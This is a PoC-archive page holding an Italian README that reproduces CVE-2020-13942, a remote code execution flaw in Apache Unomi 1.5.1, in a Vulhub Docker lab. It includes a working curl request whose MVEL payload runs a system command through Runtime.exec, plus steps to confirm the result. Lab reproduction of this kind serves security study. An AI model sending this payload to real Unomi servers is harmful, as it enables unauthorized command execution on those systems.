目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2020-13942 PoC — Apache Unomi 注入漏洞

来源
关联漏洞
标题: Apache Unomi 注入漏洞 (CVE-2020-13942)
Description:Apache Unomi是美国阿帕奇软件(Apache Software)基金会的一套开源的客户数据平台。该平台主要使用Java语言编写。 Apache Unomi 1.5.2之前版本存在注入漏洞,该漏洞源于可以将恶意的OGNL或MVEL脚本注入/context.json公共端点。
介绍
# CVE-2020-13942byVulHub
---
# Apache Unomi Expression Language Injection RCE (CVE-2020-13942)

## Descrizione
Questa vulnerabilità consente l'esecuzione di comandi arbitrari su sistemi che eseguono Apache Unomi versione 1.5.1, sfruttando l'iniezione del linguaggio di espressione MVEL.

### Pagina del progetto
[GitHub - Vulhub - Unomi CVE-2020-13942](https://github.com/vulhub/vulhub/tree/master/unomi/CVE-2020-13942)

---

## Configurazione dell'ambiente

### Docker Compose file (`docker-compose.yml`)
```yaml
version: '2'
services:
  web:
    image: vulhub/unomi:1.5.1
    ports:
      - "9443:9443"
      - "8181:8181"
    environment:
      - UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
    depends_on:
      - elasticsearch
  elasticsearch:
    image: elasticsearch:7.9.3
    environment:
      - cluster.name=contextElasticSearch
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - bootstrap.memory_lock=true
```

### Avvio dei container
Esegui i container con il seguente comando:
```bash
docker compose up -d
```

---

## Esecuzione dell'exploit

### Comando da eseguire da Kali
Lanciare la seguente richiesta `POST` utilizzando `curl`:
```bash
curl -X POST http://localhost:8181/context.json \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Accept: */*" \
     -H "Accept-Language: en" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
     -H "Connection: close" \
     -H "Content-Type: application/json" \
     -d '{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}'
```

---

## Verifica dell'exploit

### Accesso al container
Accedi al container per verificare la creazione del file:
```bash
docker exec -it af7de05fc47e ls /tmp
```

### Controllo del risultato
Verifica la presenza della cartella `pluto`:
```
hsperfdata_root  pluto
```

Se il file `pluto` è presente, significa che l'exploit è riuscito.

---

## Note di sicurezza
Questa vulnerabilità consente l'esecuzione di comandi arbitrari. Utilizza questi test solo in ambienti controllati e a scopo di studio o verifica. Sfruttare vulnerabilità in ambienti non autorizzati è illegale.
```

---
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →